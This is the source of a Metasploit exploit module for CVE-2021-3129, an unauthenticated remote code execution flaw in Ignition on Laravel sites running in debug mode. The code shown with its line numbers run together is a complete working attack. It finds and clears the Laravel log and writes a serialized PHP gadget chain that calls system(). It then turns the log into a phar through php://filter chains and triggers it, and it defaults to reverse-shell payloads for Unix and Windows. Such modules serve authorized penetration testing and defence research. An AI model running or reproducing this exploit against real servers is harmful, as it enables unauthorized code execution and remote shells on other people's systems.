Path: blob/master/modules/exploits/multi/php/ignition_laravel_debug_rce.rb
29970 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9prepend Msf::Exploit::Remote::AutoCheck1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Unauthenticated remote code execution in Ignition',16'Description' => %q{17Ignition before 2.5.2, as used in Laravel and other products,18allows unauthenticated remote attackers to execute arbitrary code19because of insecure usage of file_get_contents() and file_put_contents().20This is exploitable on sites using debug mode with Laravel before 8.4.2.21},22'Author' => [23'Heyder Andrade <eu[at]heyderandrade.org>', # module development and debugging24'ambionics' # discovered25],26'License' => MSF_LICENSE,27'References' => [28['CVE', '2021-3129'],29['URL', 'https://www.ambionics.io/blog/laravel-debug-rce']30],31'DisclosureDate' => '2021-01-13',32'Targets' => [33[34'Unix (In-Memory)',35{36'Platform' => 'unix',37'Arch' => ARCH_CMD,38'Type' => :unix_memory,39'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }40}41],42[43'Windows (In-Memory)',44{45'Platform' => 'win',46'Arch' => ARCH_CMD,47'Type' => :win_memory,48'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/reverse_powershell' }49}50]51],52'Privileged' => false,53'DefaultTarget' => 0,54'Notes' => {55'Stability' => [CRASH_SAFE],56'Reliability' => [REPEATABLE_SESSION],57'SideEffects' => [IOC_IN_LOGS]58}59)60)61register_options([62OptString.new('TARGETURI', [true, 'Ignition execute solution path', '/_ignition/execute-solution']),63OptString.new('LOGFILE', [false, 'Laravel log file absolute path'])64])65end6667def check68print_status("Checking component version to #{datastore['RHOST']}:#{datastore['RPORT']}")69res = send_request_cgi({70'uri' => normalize_uri(target_uri.path.to_s),71'method' => 'PUT'72})73# Check whether it is using facade/ignition74# If is using it should respond method not allowed75# checking if debug mode is enable76if res && res.code == 405 && res.body.match(/label:"(Debug)"/)77vprint_status 'Debug mode is enabled.'78# check version79versions = JSON.parse(80res.body.match(/.+"report":(\{.*),"exception_class/).captures.first.gsub(/$/, '}')81)82version = Rex::Version.new(versions['framework_version'])83vprint_status "Found PHP #{versions['language_version']} running Laravel #{version}"84# to be sure that it is vulnerable we could try to cleanup the log files (invalid and valid)85# but it is way more intrusive than just checking the version moreover we would need to call86# the find_log_file method before, meaning four requests more.87return Exploit::CheckCode::Appears if version <= Rex::Version.new('8.26.1')88end89return Exploit::CheckCode::Safe90end9192def exploit93@logfile = datastore['LOGFILE'] || find_log_file94fail_with(Failure::BadConfig, 'Log file is required, however it was neither defined nor automatically detected.') unless @logfile9596clear_log97put_payload98convert_to_phar99run_phar100101handler102103clear_log104end105106def find_log_file107vprint_status 'Trying to detect log file'108res = post Rex::Text.rand_text_alpha_upper(12)109if res.code == 500 && res.body.match(%r{"file":"(\\/[^"]+?)/vendor\\/[^"]+?})110logpath = Regexp.last_match(1).gsub(/\\/, '')111vprint_status "Found directory candidate #{logpath}"112logfile = "#{logpath}/storage/logs/laravel.log"113vprint_status "Checking if #{logfile} exists"114res = post logfile115if res.code == 200116vprint_status "Found log file #{logfile}"117return logfile118end119vprint_error "Log file does not exist #{logfile}"120return121end122vprint_error 'Unable to automatically find the log file. To continue set LOGFILE manually'123return124end125126def clear_log127res = post "php://filter/read=consumed/resource=#{@logfile}"128# guard clause when trying to exploit a target that is not vulnerable (set ForceExploit true)129fail_with(Failure::UnexpectedReply, "Log file #{@logfile} doesn't seem to exist.") unless res.code == 200130end131132def put_payload133post format_payload134post Rex::Text.rand_text_alpha_upper(2)135end136137def convert_to_phar138filters = %w[139convert.quoted-printable-decode140convert.iconv.utf-16le.utf-8141convert.base64-decode142].join('|')143144post "php://filter/write=#{filters}/resource=#{@logfile}"145end146147def run_phar148post "phar://#{@logfile}/#{Rex::Text.rand_text_alpha_lower(4..6)}.txt"149# resp.body.match(%r{^(.*)\n<!doctype html>})150# $1 ? print_good($1) : nil151end152153def body_template(data)154{155solution: 'Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution',156parameters: {157viewFile: data,158variableName: Rex::Text.rand_text_alpha_lower(4..12)159}160}.to_json161end162163def post(data)164send_request_cgi({165'uri' => normalize_uri(target_uri.path.to_s),166'method' => 'POST',167'data' => body_template(data),168'ctype' => 'application/json',169'headers' => {170'Accept' => '*/*',171'Accept-Encoding' => 'gzip, deflate'172}173})174end175176def generate_phar(pop)177file = Rex::Text.rand_text_alpha_lower(8)178stub = "<?php __HALT_COMPILER(); ?>\r\n"179file_contents = Rex::Text.rand_text_alpha_lower(20)180file_crc32 = Zlib.crc32(file_contents) & 0xffffffff181manifest_len = 40 + pop.length + file.length182phar = stub183phar << [manifest_len].pack('V') # length of manifest in bytes184phar << [0x1].pack('V') # number of files in the phar185phar << [0x11].pack('v') # api version of the phar manifest186phar << [0x10000].pack('V') # global phar bitmapped flags187phar << [0x0].pack('V') # length of phar alias188phar << [pop.length].pack('V') # length of phar metadata189phar << pop # pop chain190phar << [file.length].pack('V') # length of filename in the archive191phar << file # filename192phar << [file_contents.length].pack('V') # length of the uncompressed file contents193phar << [0x0].pack('V') # unix timestamp of file set to Jan 01 1970.194phar << [file_contents.length].pack('V') # length of the compressed file contents195phar << [file_crc32].pack('V') # crc32 checksum of un-compressed file contents196phar << [0x1b6].pack('V') # bit-mapped file-specific flags197phar << [0x0].pack('V') # serialized File Meta-data length198phar << file_contents # serialized File Meta-data199phar << [Rex::Text.sha1(phar)].pack('H*') # signature200phar << [0x2].pack('V') # signiture type201phar << 'GBMB' # signature presence202203return phar204end205206def format_payload207# rubocop:disable Style/StringLiterals208serialize = "a:2:{i:7;O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\""209serialize << ":1:{S:41:\"\\00GuzzleHttp\\5cCookie\\5cFileCookieJar\\00filename\";"210serialize << "O:38:\"Illuminate\\Validation\\Rules\\RequiredIf\""211serialize << ":1:{S:9:\"condition\";a:2:{i:0;O:20:\"PhpOption\\LazyOption\""212serialize << ":2:{S:30:\"\\00PhpOption\\5cLazyOption\\00callback\";"213serialize << "S:6:\"system\";S:31:\"\\00PhpOption\\5cLazyOption\\00arguments\";"214serialize << "a:1:{i:0;S:#{payload.encoded.length}:\"#{payload.encoded}\";}}i:1;S:3:\"get\";}}}i:7;i:7;}"215# rubocop:enable Style/StringLiterals216phar = generate_phar(serialize)217218b64_gadget = Base64.strict_encode64(phar).gsub('=', '')219payload_data = b64_gadget.each_char.collect { |c| c + '=00' }.join220221return Rex::Text.rand_text_alpha_upper(100) + payload_data + '=00'222end223224end225226227